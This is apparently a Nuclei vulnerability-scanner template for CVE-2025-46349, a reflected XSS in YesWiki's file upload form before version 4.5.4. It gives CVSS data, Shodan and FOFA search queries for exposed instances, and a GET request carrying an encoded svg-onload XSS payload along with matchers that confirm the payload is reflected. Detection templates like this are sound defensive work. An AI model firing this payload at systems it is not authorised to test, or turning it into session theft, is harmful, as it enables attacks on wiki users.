id: CVE-2025-46349

info:
  name: YesWiki Reflected XSS via File Upload
  author: Mahmoud Gamal
  severity: high
  description: |
    YesWiki is a wiki system written in PHP. Prior to version 4.5.4, YesWiki is vulnerable to reflected XSS in the file upload form. This vulnerability allows any malicious unauthenticated user to create a link that can be clicked on by the victim to perform arbitrary actions. This issue has been patched in version 4.5.4.
  impact: |
    Attackers can execute arbitrary scripts in the victim's browser, potentially leading to session hijacking or defacement.
  remediation: |
    Update to version 4.5.4 or later.
  reference:
    - https://github.com/YesWiki/yeswiki/security/advisories/GHSA-2f8p-qqx2-gwr2
    - https://nvd.nist.gov/vuln/detail/CVE-2025-46349
  classification:
    cve-id: CVE-2025-46349
    epss-score: 0.00542
    epss-percentile: 0.67908
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
  metadata:
    max-request: 1
    shodan-query: html:"yeswiki"
    fofa-query: body="yeswiki"
  tags: cve,cve2025,xss,yeswiki

http:
  - method: GET
    path:
      - "{{BaseURL}}/?PagePrincipale/upload&file=%22%3E%3Csvg/onload=alert(document.domain)%3E"

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "Upload form for file \"><svg/onload=alert(document.domain)>")'
          - 'contains(content_type, "text/html")'
          - 'status_code == 200'
        condition: and
# digest: 4a0a00473045022030bccb9445c50fbe4b311915e01b7195301fc720638c5f96c693bcc197285760022100e9ac5b93898654a1bb3506211f237d814124b5d9bfdedb43813c6fb680ef44b6:922c64590222798bb761d5b6d8e72950